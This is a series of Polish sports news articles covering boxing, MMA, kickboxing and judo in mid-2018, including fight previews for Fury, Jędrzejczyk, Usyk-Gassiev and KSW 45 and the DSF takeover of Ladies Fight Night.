Fury to jeden z najbardziej rozpoznawalnych, ale zarazem kontrowersyjnych pięściarzy. Brytyjczyk nie szczędzi cierpkich słów rywalom i jest przekonany o swojej wielkości. Jednak życie pokazało, że każdy ma chwile słabości. Wydawało się, że po pokonaniu Władimira Kliczko Fury na dobre rozsiądzie się na tronie wagi ciężkiej. Tak się jednak nie stało. Początkowo mówiło się o rewanżowym pojedynku nowego mistrza z Ukraińcem, jednak z powodu problemów zdrowotnych walkę przekładano. Ostatecznie do niej nie doszło. Okazało się, że Fury zmagał się z depresją oraz miał problemy z alkoholem i niedozwolonymi środkami. Ostatecznie oddał pasy mistrzowskie, a Brytyjska Federacja Bokserska tymczasowo odebrała mu licencję. Fury został ukarany dwuletnią dyskwalifikacją, która liczyła się od… grudnia 2015 roku.

Pogromca Władimira Kliczki wrócił z nadwagą na salę treningową, a następnie na ring. W pierwszym teście Fury pokonał Sefera Seferiego. Walka miała niecodzienny przebieg. Podczas pojedynku pięściarze uśmiechali się do siebie i pokazywali… język. Fury zaczął w końcu zadawać kolejne ciosy i zaznaczać swoją przewagę, a Seferi nie wyszedł do piątej rundy.

18 sierpnia olbrzym z Wilmslow stanie przed kolejnym wyzwaniem. W Belfaście zmierzy się z Francesco Pianetą. 33-latek urodzony we Włoszech w ostatnim starciu przegrał z Petarem Milasem, wcześniej pokonał Daso Simeunovicia. W swoim dorobku Pianeta zapisał mistrzostwo Unii Europejskiej EBU, rywalizował także o pasy mistrzowskie w kategorii królewskiej. 33-latek jest doświadczonym i solidnym pięściarzem, który jest w stanie sprawdzić formę Fury'ego. A Brytyjczyk zapowiada, że wygra. Jeśli stanie się inaczej, ma ucałować stopy rywala.

Coraz głośniej mówi się, że wygrana Fury'ego będzie przepustką do jego rywalizacji z Deontayem Wilderem. Mistrz WBC ma zjawić się w Belfaście, aby z bliska obserwować pojedynek. Oczami wyobraźni Fury już widzi się w ringu z Wilderem. Podkreśla również, że ich ewentualne starcie będzie walką „jakiej świat nie widział”. Ale najpierw Pianeta.

Fot. Tyson Fury Facebook

KM

Federacja DSF Kickboxing Challenge przejęła Ladies Fight Night!

Na specjalnie zwołanej konferencji prasowej w restauracji Na Skrajnej w Ząbkach prezes DSF Kickboxing Challenge Sławomir Duba i założyciel Ladies Fight Night Łukasz Chmal poinformowali o przejęciu LFN przez największą polską federację promującą kickboxing. Ogłoszono także najbliższe plany obydwu organizacjiKolejna numerowana gala DSF 17 odbędzie się 29 września w Hali Polonia w Częstochowie, a nie w Arenie Gliwice jak anonsowano wcześniej. Walką wieczoru będzie rewanżowy pojedynek mistrza kategorii do 81 kilogramów Kamila Jenela z poprzednim czempionem Kamilem Rutą.

– Doszliśmy do porozumienia z federacją Ladies Fight Night, która od dziś staje się częścią DSF Kickboxing Challenge. To przyspieszy rozwój obydwu federacji i da nam nową siłę do osiągnięcia jeszcze wyższych celów w rozwoju polskiego K-1. Negocjacje były trudne, ale liczy się ostateczny efekt tego porozumienia i to, że będziemy teraz mogli wspólnie rozwijać jedną i drugą federację – mówi Sławomi Duba, prezes DSF Kickboxing Challenge.

LFN 10 – pierwsza gala Ladies Fight Night pod nowym kierownictwem – odbędzie się 15 grudnia w Ząbkach. Imprezy jedynej kobiecej federacji mieszanych sportów walki w Europie nie będą już łączyły walk w formułach K-1 i MMA podczas jednego wieczoru, jak miało to miejsce w przeszłości. Nowy właściciel jest zdecydowany organizować osobne eventy dla każdej dyscypliny. Jest to spowodowane m.in. koniecznością spełnienia wszelkich warunków współpracy z Polskim Związkiem Kickboxingu. Gale LFN z walkami MMA będą się odbywały w klatce, a imprezy K-1 w ringu. Powstanie system umożliwiający wyróżniającym się zawodniczkom Ladies Fight Night zdobycie kontraktów w DSF Kickboxing Challenge. Na gali LFN 10 w Ząbkach zobaczymy wyłącznie potyczki w K-1.

"Przez 2,5 roku zorganizowaliśmy dziewięć zawodowych gal w sześciu miastach Polski. Nasze karty wypełniały czołowe zawodniczki z kraju i świata, które zostawiały w klatko-ringu całe serce. Poza galami zorganizowaliśmy obóz treningowy w legendarnym Mikes Gym w Amsterdamie oraz obozy treningowe w Polsce z takimi diamentami sportów walki jak Joanna Jędrzejczyk i Marcin Różalski. Przed nami jeszcze więcej. Miło nam poinformować, że wkraczamy dumnie do rodziny DSF Kickboxing Challenge – organizacji, która wskrzesiła nie tylko polski, ale i europejski kickboxing. Wiemy, że dzięki tej zmianie wkroczymy na światowy rynek w jeszcze bardziej spektakularnym stylu" – czytamy w oświadczeniu na Facebooku federacji Ladies Fight Night.

To nie wszystkie nowości w DSF Kickboxing Challenge. Planowana pierwotnie na 21 września wielka gala w Gliwicach z udziałem największych gwiazd polskiego K-1 została przeniesiona na przyszły rok. Zastąpi ją DSF 17 w Hali Polonia w Częstochowie (29 września) z walką wieczoru Jenel-Ruta 2. Z kolei DSF 18 odbędzie się 20 października w mieszczącej 7000 kibiców Netto Arenie w Szczecinie. Jedną z gwiazd tej imprezy będzie Marcin Parcheta. Jeszcze w tym roku rozpocznie się również turniej wagi ciężkiej z udziałem ośmiu zawodników. Pod uwagę brani są m.in. Tomasz Sarara, Michał Turyński, Arkadiusz Wrzosek, Tomasz Klimiuk, Michał Kita oraz zagraniczne gwiazdy. Zwycięzca otrzyma wysoką nagrodę pieniężną oraz walkę o tytuł mistrzowki DSF, który od czerwca 2017 roku należy do znakomitego Białorusina Piotra Romankiewicza.

– To będzie bardzo silnie obsadzony turniej. Zawsze powtarzam, że promujemy polski sport, więc zależy nam na jak największej ilości zawodników z Polski. Dostaliśmy już wiele zgłoszeń, również z zagranicy. Wkrótce stawka zostanie uzupełniona i odsłonimy nazwiska – obiecuje Sławomir Duba.

Choć najbliższa numerowana gala federacji DSF odbędzie się 29 września, to już cztery tygodnie wcześniej zawodowe walki K-1 będzie można zobaczyć przy ulicy Górczewskiej 30 w Warszawie podczas 8. Pikniku Miłośników Amerykańskiej Motoryzacji American Day.

– 1 września w Liberatorze odbędą się trzy zawodowe walki K-1. W dwóch z nich zmierzą się mężczyźni, w trzeciej rywalizować będą kobiety – zdradza prezes federacji DSF i LFN.

Harmonogram wydarzeń na najbliższe miesiące:

8. Piknik American Day – Liberator, Warszawa – 1 września

Gala DSF 17 – Hala Polonia, Częstochowa – 29 września

Gala DSF 18 – Netto Arena, Szczecin – 20 października

LFN 10 – Hala Sportowa, Ząbki – 15 grudnia

Khalidov rozbudził wyobraźnię

Takiej decyzji nikt się nie spodziewał. Mamed Khalidov postanowił zwakować pas mistrzowski KSW w wadze średniej. Tytuł będzie stawką turnieju, który odbędzie się podczas gali w Londynie.

Blisko trzy lata Mamed Khalidov zasiadał na tronie. Pas mistrzowski KSW w wadze średniej zdobył dokładnie 28 listopada 2015 roku w Krakowie. Urodzony w Groznym zawodnik potrzebował zaledwie 31 sekund na pokonanie Michała Materli. Khalidov tylko raz bronił pasa mistrzowskiego. W kolejnych występach w KSW prezentował się w superfight – pokonał Borysa Mańkowskiego i przegrał z Tomaszem Narkunem. A rywalizujący w wadze średniej czekali na mistrza. Ten postanowił jednak ustąpić miejsca.- W dniu dzisiejszym zwakowałem swój pas mistrzowski federacji KSW. Chciałbym życzyć powodzenia wszystkim zawodnikom którzy rozpoczną rywalizację o ten pas – poinformował Mamed Khalidov.

Decyzja Khalidova była zaskoczeniem, ale KSW przygotowało ciekawą formę wyłonienia nowego mistrza. 6 października w The SSE Arena dojdzie do turnieju wagi średniej. Zwycięzcy powalczą o pas. Na KSW 45: The Return to Wembley Michał Materla zmierzy się z Damianem Janikowskim, zaś Marcin Wójcik podejmie Scotta Askhama. W powietrzu czuć ogromne emocje. 34-letni szczecinian będzie miał okazję ponownie sięgnąć po pas wagi średniej, który stracił na rzecz Khalidova. Michał Materla rywalizuje w KSW już 12 lat. Zatem jest jednym z najbardziej doświadczonym zawodników polskiej federacji. Z 21 walk wygrał 17, jednak 6 października nie będzie miał łatwego zadania. Co prawda zmierzy się z „żółtodziobem” pod względem doświadczenia w MMA, jednak Damian Janikowski miał mocne wejście do KSW. Za brązowym medalistą olimpijskim z Londynu trzy walki w MMA. Janikowski wszystkie pojedynki wygrał przed czasem. Imponował szybkością, siłą ciosu i skutecznością. Czy doświadczony Materla będzie kolejną ofiarą byłego zapaśnika?

Po trzech wygranych Marcin Wójcik dostał szansę rywalizacji o pas mistrzowski w wadze półciężkiej. Na Stadionie Narodowym do poddania zmusił go Tomasz Narkun. W ostatnim występie, KSW 42 w Łodzi, Wójcik pokonał Hatefa Moeila. 6 października Polak stanie przed kolejnym wyzwaniem. Scott Askham to zawodnik z doświadczeniem w UFC, gdzie przegrał m.in. z Krzysztofem Jotko. W debiucie w KSW 30-letni Anglik znokautował Michała Materlę.

Rewanż

W Londynie dojdzie do pojedynku o pas mistrzowski w wadze półśredniej. Dricus Du Plessis ponownie zmierzy się z Roberto Solidciem, którego pokonał podczas KSW 43 i mógł cieszyć się z tytułu.

Fot. Mamed Khalidov Facebook

KM

Aldo myśli o zakończeniu kariery?

Podczas gali UFC on Fox 30 Jose Aldo zmierzy się z Jeremy'm Stephensem. Czy będzie to jeden z ostatnich pojedynków byłego mistrza wagi piórkowej?

31-letni Brazylijczyk ma za sobą trudny czas. W czerwcu ubiegłego roku w Rio de Janeiro stracił pas mistrzowski na rzecz Max Hollowaya. Pół roku później doszło do rewanżowego starcia, jednak ponownie górą był Amerykanin. Ostatni raz Aldo wzniósł ręce w geście triumfu ponad dwa lata temu, kiedy to decyzją sędziów pokonał Frankie Edgara.

28 lipca w Calgary Brazylijczyk stoczy 31 walkę w karierze, a dwunastą w UFC. Jego rywalem będzie Jeremy Stephens, który ma za sobą trzy wygrane z rzędu. Przed Aldo wyzwanie i próba przełamania. Być może sobotni pojedynek będzie jednym z ostatnich występów Brazylijczyka w karierze. Dlaczego? Brazylijczyk otwarcie przyznaje, że nie myśli o nowym kontrakcie w UFC. W ramach obecnego powinien stoczyć jeszcze cztery walki. – Nie chodzi mi o to, żeby po upływie obecnej umowy podpisać kolejną – przyznaje brazylijski zawodnik.

Przez pięć lat Aldo dominował w wadze piórkowej i efektownie odprawiał kolejnych pretendentów do tytułu. Na ostatniej prostej ponownie chce wejść na szczyt. – Myślę, że to jest łatwiejsze, ponieważ zbliża się koniec, więc musisz wejść na szczyt. Pracujesz ciężej, bo wiesz, że niebawem pewien etap się zamknie – powiedział dla MMAFighting.com Jose Aldo.

31-letni zawodnik stawia sobie jasny cel. – Marzę o zostaniu mistrzem i odejściu jako mistrz. To moja motywacja. Jestem dumny ze zwycięstw, nie akceptuję porażek. Kiedy przestanie tak być, nadejdzie moment, aby przestać – podkreśla Aldo.

Brazylijczyk liczy, że jeszcze będzie miał okazję rywalizować o pas mistrzowski. Na gali UFC 226 Max Holloway miał zmierzyć się z Brianem Ortegą, jednak z powodów zdrowotnych czempiona do walki nie doszło. W związku z tym amerykańska organizacja może rozważyć starcie o tymczasowy pas. To byłoby idealne rozwiązanie dla Aldo. Z pewnością krokiem w stronę realizacji zamierzeń będzie wygrana z Stephensem. Były mistrz zwraca również uwagę na aspekt zdrowia. W ciągu kariery zmagał się z różnymi urazami, ale wielokrotnie udowodnił, że ma charakter wojownika. – Pierwszym celem jest odzyskanie pasa, a później przemyślenie wszystkiego. Każdy sportowiec się tego boi. Zdrowie jest najważniejsze – wyjaśnia Brazylijczyk.

Fot. Jose Aldo Junior Facebook

KM

Czas na przełamanie

Przed Joanną Jędrzejczyk starcie z Tecią Torres. 28 lipca w Calgary podczas gali UFC on Fox 30 Polka będzie chciała wrócić na zwycięskie tory po dwóch porażkach z Rose Namajunas.

Ostatnie miesiące nie były najlepsze dla Jędrzejczyk. W listopadzie ubiegłego roku niespodziewanie straciła pas mistrzowski UFC w kategorii słomkowej na rzecz Rose Namajunas, która zwyciężyła w pierwszej rundzie. Polka upadła po lewym sierpowym, co wykorzystała Amerykanka i szybko wyprowadzała kolejne ciosy. Po 966 dniach olsztynianka przestała być mistrzynią. Jędrzejczyk skutecznie broniła pasa w pięciu potyczkach, co pozwoliło jej się stać czołową postacią MMA na świecie. 8 kwietnia 30-latka chciała powrócić na tron. W rewanżu również nie sprostała Namajunas, tym razem przegrała decyzją sędziów.

Jędrzejczyk poznała smak porażki. Ostatnie zwycięstwo w UFC odniosła ponad rok temu, kiedy to pokonała Jessicę Andrade. 28 lipca była mistrzyni UFC będzie chciała wrócić na zwycięską ścieżkę. Jędrzejczyk zmierzy się z Tecią Torres, która w tym roku przegrała z Jessicą Andrade.  28-letnia Amerykanka w UFC prezentuje się solidnie. Dotychczas odniosła sześć zwycięstw i poniosła dwie porażki. Torres znakomicie czuje się w stójce, często wyprowadza groźne kopnięcia. Warto dodać, że Torres z powodzeniem występowała w organizacji Invicta, gdzie pokonała m.in. Rose Namajunas. Jednak już w UFC przegrała z obecną mistrzynią kategorii słomkowej.

Jędrzejczyk zameldowała się w Calgary w niedzielę. Odlicza dni do walki z Torres i szlifuje formę, nad którą pracowała osiem tygodni. Dla Polki będzie to jedenaste starcie w UFC. Z pewnością waga starcia z Torres jest dla Jędrzejczyk ogromna. Po dwóch porażkach z Namajunas, olsztynianka musi się odbudować, aby ponownie myśleć o zaatakowaniu pasa mistrzowskiego. Za niecały miesiąc (18 sierpnia) Jędrzejczyk będzie obchodziła urodziny. Czy 28 lipca sprawi sobie prezent? Torres zapewne nie odpuści, ponieważ również będzie chciała mieć radosne urodziny, które przypadają… dwa dni wcześniej niż święto Jędrzejczyk.

Ciekawy wieczór

W walce wieczoru gali UFC on Fox 30 zmierzą się Eddie Alvarez i Dustin Poirier. Zawodnicy spotkają się po raz kolejny. Ich starcie na gali UFC 211 uznano za nierozstrzygnięte ze względu na nielegalny cios kolanem w wykonaniu Alvareza. Ciekawie zapowiada się również starcie Jose Aldo z Jeremy’m Stephensem. Były mistrz wagi piórkowej przegrał dwa ostatnie pojedynki i na wygraną czeka już ponad dwa lata. Z kolei Stephens ma na swoim koncie trzy wygrane z rzędu.

Fot. Joanna Jędrzejczyk Facebook

KM

Złota Karolina

Karolina Miller (70kg) wywalczyła złoty medal Pucharu Europy Juniorów w judo w Pradze. To największy sukces w dotychczasowych startach młodej Polki.

Ten rok jest wyjątkowy dla Karoliny Miller. W maju w Kownie zawodniczka AZS AWFiS Gdańsk zdobyła pierwszy medal Pucharu Europy Juniorów w karierze. Miller radziła sobie znakomicie. Pokonała trzy rywalki, ale w finale musiała uznać wyższość Holenderki Donji Vos. Z kolei w marcu Miller stanęła na najniższym stopniu mistrzostw Polski juniorów i juniorek.

Zawodniczka gdańskiego AZS AWFiS kontynuuje dobre występy. Praga okazała się szczęśliwym miejscem dla młodej Polki. W pierwszej walce Miller uporała się z Michele Johner, jednak nie był to łatwy pojedynek. Reprezentantka Szwajcarii była agresywna i zapisała na swoim koncie trzy shido. W kolejnych pojedynkach rywalkami Polki były Niemki. Wszystkie musiały uznać wyższość Miller przed czasem, która kolejno odprawiła Alexandrę Gantner, Sophie Brendicke oraz Alinę Boehm. Z tą ostatnią judoczka AZW AWiFS Gdańsk spotkała się w finale i do odniesienia zwycięstwa potrzebowała nieco ponad pół minuty.

W Pradze zaprezentowała się klubowa koleżanka Miller – Katarzyna Madajewska (+78kg). Zawodniczka AZS AWFiS Gdańsk może mówić o udanym sezonie. W Petersburgu i Gdyni stawała na najniższym stopniu podium. Z kolei w Kownie była o krok od medalu zajmując piąte miejsce. W Pradze Madajewska nie powtórzyła wcześniejszych wyników. Przegrała w pierwszej walce z Saetbyeol Park, a w repasażach pokonała Paulinę Dziopę i przegrała ze Svetlaną Sleznevą, co ostatecznie dało jej siódmą lokatę. Od zwycięstwa zmagania w Pradze rozpoczęła Natalia Kropska (63kg). Następnie judoczka GKS Czarni Bytom pokonała Anastasię Kolyadenkovą, jednak zatrzymała ją Koreanka Goeum Lee. W repasażach Polka walczyła ze zmiennym szczęściem i zajęła siódme miejsce.

Na dziewiątych pozycjach uplasowali się Paweł Drzymal (81kg) i Paweł Kejza (100kg), którzy nie poradzili sobie w repasażach.

W Pradze najlepiej wypadli Rosjanie, którzy zdobyli 12 medali, w tym cztery złote. Za ich plecami Azerbejdżan z dziewięcioma krążkami (2 złote) oraz Korea Południowa – sześć (2 złote).

KM

Cztery pasy na szali

21 lipca oczy bokserskiego świata zwrócą się na Stadion Olimpijski w Moskwie, gdzie odbędzie się finał pierwszej edycji World Boxing Super Series w wadze junior ciężkiej. Naprzeciw siebie staną Oleksandr Usyk i Murat Gassijew.

Do tego starcia miało dojść 11 maja w Arabii Saudyjskiej, ale na przeszkodzie stanęła kontuzja łokcia Ukraińca. Zaistniała sytuacja zmusiła organizatorów do znalezienia nowego terminu. Wybrano 21 lipca w Moskwie, czyli Gassijew będzie walczył na własnej ziemi. Wobec tego w trudniejszym położeniu wydaje się być Usyk, jednak dla mistrza WBO i WBC nie może to stanowić problemu. W końcu jest pięściarzem prezentującym najwyższy poziom. Warto dodać, że dotychczas 31-letni Ukrainiec rywalizował w WBSS wyłącznie na… terytorium rywali. Nie sprawiło mu to problemu, aby w dziesiątej rundzie w Berlinie znokautować Marco Hucka. Walka z Mairisem Briedisem w Rydze miała nieco inny przebieg, ale zakończyła się również po myśli Usyka.

Gassijew w WBSS prezentuje wysoki poziom. W ćwierćfinale w trzeciej rundzie powalił na deski Krzysztofa Włodarczyka. Ogromnych emocji dostarczyło półfinałowe starcie Rosjanina z Yunierem Dorticosem. Piekielnie wyniszczająca walka, w której nie brakowało potężnych ciosów. W 12. rundzie Kubańczyk padł na deski i Gassijew znalazł się w finale. 24-latek urodzony w Władykaukazie w grudniu 2016 roku sięgnął po pas mistrzowski IBF pokonując Denisa Lebiediewa. W lutym dołożył tytuł WBA. Gassijew prezentuje się znakomicie ringu, imponuje zwłaszcza siła jego ciosów. Rosjanin ma 26 wygranych na koncie, w tym 19 przez nokaut. Jego sobotni rywal, choć jest starszy – stoczył 14 zawodowych pojedynków.

Stawka finału WBSS w wadze junior ciężkiej na Stadionie Olimpijskim w Moskwie jest ogromna. Na szali pojawią się tytuły mistrzowskie WBO, WBC, IBF i WBA oraz pas magazynu The Ring oraz Puchar Muhammada Alego. Zwycięzca przejdzie do historii i stanie się prawdziwą gwiazdą. Pytanie – czy walka będzie partią szachów, czy otwartym starciem? Pójście na wymianę nie będzie dobrym ruchem ze strony Usyka, gdyż potężny cios Gassijewa natychmiast może zakończyć rywalizację. Ukrainiec jest inteligentnym pięściarzem i potrafi spokojnie prowadzić walkę, aby ukłuć w kluczowym momencie. Z kolei Gassijew jest piekielnie niebezpieczny, jednak z Dorticosem pokazał, że jest w stanie na ostatniej prostej efektownie zakończyć walkę. Szykuje się pojedynek godny finału.

Fot. Александр Усик / Usyk Facebook

KM

FEN 21 Aftermovie

FEN 21 Wrocław Aftermovie! 9 walk, 2 o pasy mistrzowskie, znakomite pojedynki! Wśród zawodników m.in.: Grzebyk, Pławecki, Łopaczyk, Jędraszczyk, Zontek, Kopera, Głąb, Somerfeld, Dusza, Ciepliński, Leśko! 25 maja 2018 r., Hala Orbita.

[kod]

Czy to będzie polski wieczór w Hamburgu?

22 lipca w Hamburgu odbędzie się gala UFC Fight Night 134. W karcie walk znalazło się trzech Polaków: Marcin Tybura, Bartosz Fabiński i Damian Stasiak. Czy zapiszą na swoim koncie kolejne zwycięstwa w UFC?

W czwartą wygraną w najlepszej organizacji MMA na świecie mierzy Marcin Tybura. 32-letni Polak będzie chciał się zrehabilitować za dwie porażki z rzędu – z Fabricio Werdumem i Derrickiem Lewisem. W podobnej sytuacji jest rywal Tybury – Stefan Struve. Holender zanotował porażki z Alexandrem Volkovem i Andrejem Arlovskim. Ostatnie zwycięstwo Struve odniósł w starciu z Danielem Omielańczukiem, kiedy to wygrał przez duszenie przed czasem. Holender zdecydowaną większość pojedynków kończy przed czasem, co jest ostrzeżeniem dla Tybury. Dodatkowo 30-letni Struve jest najwyższym zawodnikiem w UFC – 214 cm, co może sprawić Polakowi problemy. Tybura w UFC pokazał jednak, że jest klasowym zawodnikiem, o czym najlepiej świadczy zwycięstwo w starciu z Arlovskim.

Długo przyszło czekać Bartoszowi Fabińskiemu na kolejny występ w UFC. 32-latek po raz ostatni zaprezentował się na gali UFC Fight Night 78 w Monterrey w lipcu 2015, kiedy pokonał Hectora Urbinę. To był dla niego drugi występ w amerykańskiej organizacji, wcześniej Polak zapisał na swoim koncie wygraną w Krakowie. W Hamburgu rywalem Fabińskiego będzie Emil Meek, który ostatnio przegrał z Kamaru Usmanem. Norweg w UFC zanotował jedno zwycięstwo – na UFC 206 pokonał Jordana Meina.

Po dwóch porażkach z rzędu do oktagonu wejdzie Damian Stasiak. Popularny "Webster" doskonale zna smak rywalizacji w UFC, bo stoczy  już szósty pojedynek w amerykańskiej organizacji. Polak zmierzy się z Chińczykiem Pingyuan Liu, dla którego będzie to debiut w UFC. Zawodnicy znają się  z treningów w Jackson Wink MMA.

W Hamburgu zaprezentuje się znany z występów w KSW David Zawada. Rywalem 27-letniego Niemca będzie Anglik Danny Roberts. W karcie walk UFC Fight Night 134 znaleźli się również Damir Hadzović i Nick Hein. Obaj mają na koncie wygrane w starcie z Polakami – odpowiednio Marcinem Heldem i Łukaszem Sajewskim.

W walce wieczoru gali w Hamburgu zmierzą się Mauricio Rua i Anthony Smith. Blisko 37-letni Brazylijczyk to były mistrz UFC w wadze półciężkiej, który ma passę trzech zwycięstw z rzędu. Z kolei Smith w ostatnim starciu szybko znokautował Rashada Evansa.

Fot. Marcin Tybura Facebook

KM

Szpilka zmierzy się z Millerem?

W ubiegłym roku Jarrell Miller pokonał w Nassau Coliseum Mariusza Wacha. Czy teraz na jego drodze stanie Artur Szpilka? Według doniesień boxingscene.com w październiku Amerykanin miałby spotkać się z Polakiem.

30-letni Miller ma ogromne ambicje i chce zawojować wagę ciężką. Amerykanin mierzy w starcie z mistrzem świata IBF, IBO, WBA i WBO Anthonym Joshuą, ale musi uzbroić się w cierpliwość. 22 września "AJ" spotka się na Wembley z Aleksandrem Powietkinem. Z kolei Miller kolejną walkę ma zaplanowaną na 6 października. Z kim zmierzy się w Chicago? Niewykluczone, że jego rywalem będzie Artur Szpilka.

Dla "Szpili" były to trzynasty pojedynek na amerykańskiej ziemi. Dotychczas wygrał dziewięć walk, a trzy przegrał – z Bryantem Jenningsem, Deontayem Wilderem i Adamem Kownackim. Po dwóch porażkach z rzędu kariera polskiego pięściarza znalazła się na zakręcie. Wygrana na Stadionie Narodowym z Dominickiem Guinnem pozwoliła złapać oddech Szpilce i nadal liczy się on w wadze ciężkiej. Starcie z Millerem byłoby dla 29-latka wyzwaniem, ale i szansą. Akcje Amerykanina w wadze ciężkiej stoją coraz wyżej. Miller wygrał 21 walk, w tym 18 przez nokaut i zanotował remis w pojedynku z Joey'em Dawejko, ale było to pięć lat temu. W ostatnim czasie Miller uporał się z trzema byłymi pretendentami do tytułu mistrzowskiego. Amerykanin odprawił Geralda Washingtona i Mariusza Wacha (wygrane przed czasem) oraz na punkty Johanna Duhaupasa.

Kilka miesięcy temu Miller podpisał kontrakt z Eddiem Hearnem na występy na platformie DAZN, która ma dostarczać miłośnikom boksu produkty najwyższej jakości. Pierwszy pojedynek Miller stoczy 6 października. Logiczne wydaje się, że w Chicago jego rywalem mógł być Polak, który zna specyfikę rywalizacji w USA. Dodatkowo – z pewnością występ Szpilki wzbudzi zainteresowanie licznej Polonii.

Amerykanin myśli o rywalizacji ze Szpilką i jest pewny swego. – Potrzebuję teraz dobrego nokautu. Muszę nadal dominować i iść do przodu. Każda walka niesie ze sobą niebezpieczeństwo, ale znokautuję go – podkreśla Miller.

Warto nadmienić, że dobrym kolegą Amerykanina jest Adam Kownacki, z którym Szpilka przegrał. Z pewnością "Baby Face" udzieli kilku rad Amerykaninowi. – Szpilka nie trenował na pełnych obrotach, bo popatrzył na Adama i zlekceważył go. Może Kownacki nie wygląda na atletę, ale ma zdrowie i na każdym wspólnym treningu daje mi wycisk – podkreśla Miller.

KM

Lysenko trzeci w Saarbruecken

Oleksii Lysenko (100kg) zajął trzecie miejsce w zawodach European Open w judo w Saarbruecken. To pierwsze podium 21-letniego zawodnika w polskich barwach. W Saarbruecken trzecie miejsce wywalczyła również Julia Kowalczyk (57kg).

Lysenko przyjechał do Polski po ukończeniu szkoły średniej. Zawodnik chciał doskonalić swój talent i trafił do AZS AWF Warszawa. Na Ukrainie prezentował swoje umiejętności zdobywając tytuły mistrzowskie w rywalizacji kadetów, juniorów i młodzieżowców. Lysenko zapisał na swoim koncie także wicemistrzostwo kraju w 2016 roku. W Polsce 21-latek radzi sobie równie dobrze. Najlepszym dowodem jest wicemistrzostwo kraju wywalczone w 2017 roku w Opolu. Teraz Lysenko zapisał na swoim koncie kolejny sukces – po raz pierwszy w polskich barwach stanął na podium na poziomie międzynarodowym.

Judoka urodzony w Zaporożu start w Saarbruecken rozpoczął fantastycznie. Przed czasem uporał się z Danielem Herbstem i Jonathanem Fagerhillem. Na pokonanie Szweda potrzebował nieco ponad pół minuty. Ciekawy przebieg miało starcie 21-latka z Johen Jayne'm. Obaj zdobyli po waza ari, ale kolejna udana akcja w wykonaniu reprezentanta Polski i wygrana przez ippon. W półfinale Lysenko przegrał z Alexandrem Iddirem, który miał dobre wspomnienia z Saarbruecken, gdyż rok temu był trzeci. Lysenko pozostał w grze o brązowy medal. W mgnieniu oka uporał się z Karlem-Richardem Freyem i mógł cieszyć się z miejsca na podium.

W gronie medalistów znalazła się również Julia Kowalczyk. Zawodniczka Polonii Rybnik czekała na kolejne podium w startach seniorskich ponad rok. W marcu 2017 roku zajęła trzecie miejsce w zawodach Grand Slam w Baku. Od początku rywalizacji w Saarbruecken Polka prezentowała się pewnie. Kowalczyk wygrała trzy pojedynki i znalazła się w półfinale. Polka nie sprostała jednak brązowej medalistce mistrzostw Europy 2017 Minie Libeer. W starciu o brąz Kowalczyk przed czasem uporała się z Ines Beischmidt.

Blisko podium w Saarbruecken była Urszula Hofman (78kg), która uplasowała się na piątej pozycji. Siódme miejsca wywalczyli Łukasz Kiełbasiński (66kg) i Damian Stępień (81kg).

W klasyfikacji medalowej triumfowali Rosjanie, którzy zdobyli 10 krążków (4 złote, 1 srebrny i 5 brązowych). Za nimi Francuzi (2, 4, 5) oraz Niemcy (2, 1, 4).

Fot. zdjęcie poglądowe

KM

Szykuje się hit w kobiecym MMA

Cristiane "Cris Cyborg" Justino i Amanda Nunes staną naprzeciwko siebie. Podstawowe pytanie brzmi – kiedy? Obie poinformowały, że są gotowe do wielkiej walki, ale podały… inne terminy.

Od blisko roku Justino znajduje się w posiadaniu pasa mistrzowskiego kategorii piórkowej. Dotychczas broniła go dwukrotnie. Z kolei Nunes zdobyła pasa mistrzowski w wadze koguciej na gali UFC 200 pokonując Mieshę Tate. Brazylijka odprawiła trzy rywalki, które próbowały odebrać jej tytuł. Nie da się ukryć, że starcie dwóch zawodniczek z Kraju Kawy byłoby prawdziwym hitem. Wszystkie znaki na niebie i ziemi wskazują, że walka jest blisko. "Cyborg" na swoim Twitterze poinformowała o gotowości do walki ze swoją rodaczką. – Zgodziłam się po raz drugi na walkę z Amandą Nunes. 8 września na UFC 228 w Dallas. Moja ostatnia walka odbyła się cztery miesiące temu. Jestem gotowa do rywalizacji – poinformowała 33-latka.

Zatem można zacierać ręce. Nunes również pochwaliła się zdjęciem z podpisywania kontraktu, jednak termin pojedynku jest inny. – Czekam na Ciebie Cris Cyborg na UFC 232 29 grudnia. Kontrakt podpisany – podała mistrzyni UFC w wadze koguciej.

W tej sytuacji wypada tylko podrapać się po głowie i zapytać – o co chodzi? Pewne jest, że zawodniczki jasno wyraziły wolę spotkania się w oktagonie. Justino i Cyborg odprawiły najgroźniejsze rywalki w swoich kategoriach wagowych, więc naturalne stało się, że w środowisku zaczęły się pojawiać głosy o zestawieniu ich w super walce. Początkowo planowano starcie na galę UFC 226, która odbyła się 6 lipca. Już w styczniu „Cyborg” wyraziła gotowość walki z Nunes, jednak do podpisania kontraktu nie doszło.

Ostatni pojedynek Justino stoczyła w marcu, kiedy to wypunktowała w pierwszej rundzie Yanę Kunitskayę. Z kolei Nunes w maju pokonała Raquel Pennington. Wydaje się, że lipcowy termin super walki dwóch mistrzyń byłby ryzykowny ze względu na ewentualną kontuzję bądź zbyt krótki czas przygotowań. Z drugiej strony dobrze, że starcie Justino i Nunes odbędzie się w późniejszym terminie. Na UFC 226 w Las Vegas hitem było starcie Stipe Miocica i Daniela Cormiera. W takim przypadku jedna z walk znalazłaby się w cieniu drugiej. A tak każda będzie prawdziwym hitem i wielkim wydarzeniem w świecie MMA.

Teraz wiadomo, że Justino i Nunes są gotowe podjąć wyzwanie. Nieco humorystycznie można powiedzieć, iż obie podały odpowiadające im terminy. Kwestią podstawową jest osiągnięcie porozumienia i potwierdzenie walki.

KM

Machina ruszyła

Wydaje się, że walka podwójnego mistrza UFC Daniela Cormiera z Brockiem Lesnarem jest nieunikniona. Jedyną przeszkodą pozostaje zawieszenie 41-latka, które kończy się na początku 2019 roku.

Popularny "DC" spełnił marzenia i przeszedł do historii UFC. Utarł nosa Jonowi Jonesowi i innym, którzy w niego wątpili. Na gali UFC 226 Cormier w pierwszej rundzie znokautował mistrza wagi ciężkiej Stipego Miocica. 39-latek jest posiadaczem pasów w kategorii półciężkiej i królewskiej. Wielka radość, ale i kolejne wyzwania. Na horyzoncie pojawił się Brock Lesnar. Cormier chce walczyć z byłym czempionem UFC (2008-2010), a ten jest gotów podjąć wyzwanie. Już w T-Mobile Arenie doszło do przepychanek i ostrej wymiany zdań między zawodnikami. Prezydent UFC Dana White podkreśla, że cały świat chce zobaczyć tę walkę, więc zapewne do niej dojdzie.

